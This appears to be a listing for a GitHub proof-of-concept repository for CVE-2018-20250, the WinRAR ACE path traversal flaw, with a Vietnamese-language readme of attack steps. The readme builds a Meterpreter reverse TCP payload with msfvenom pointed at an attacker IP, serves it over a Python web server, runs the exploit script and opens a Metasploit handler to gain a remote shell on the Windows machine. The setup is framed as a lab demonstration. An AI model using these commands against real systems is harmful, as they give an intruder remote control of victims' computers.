CVE-2018-20250 PoC — WinRar 路径遍历漏洞

Source

https://github.com/LamSonBinh/CVE-2018-20250

Associated Vulnerability

Title:WinRar 路径遍历漏洞 (CVE-2018-20250)
Description:In WinRAR versions prior to and including 5.61, There is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path.

Readme

## Setup
- Video demo: https://youtu.be/5tuWsi1tGS0
- VirtualBox Machine: https://j2c.cc/virtualbox-machine
- Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit
## Các bước tiến hành
- Kali:
```
ip a
msfvenom -p windows/meterpreter/reverse_tcp lport=1234 lhost=10.0.0.199 -f exe > shell.exe
```
- Windows:
```
git clone https://github.com/LamSonBinh/CVE-2018-20250
py exp.py
```
- Kali:
```
python3 -m http.server
```
- Windows:
10.0.0.199:8000
- Kali:
```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set lport 1234
set lhost 10.0.0.199
exploit -j

sessions
sessions 1
sysinfo
shell
```

File Snapshot

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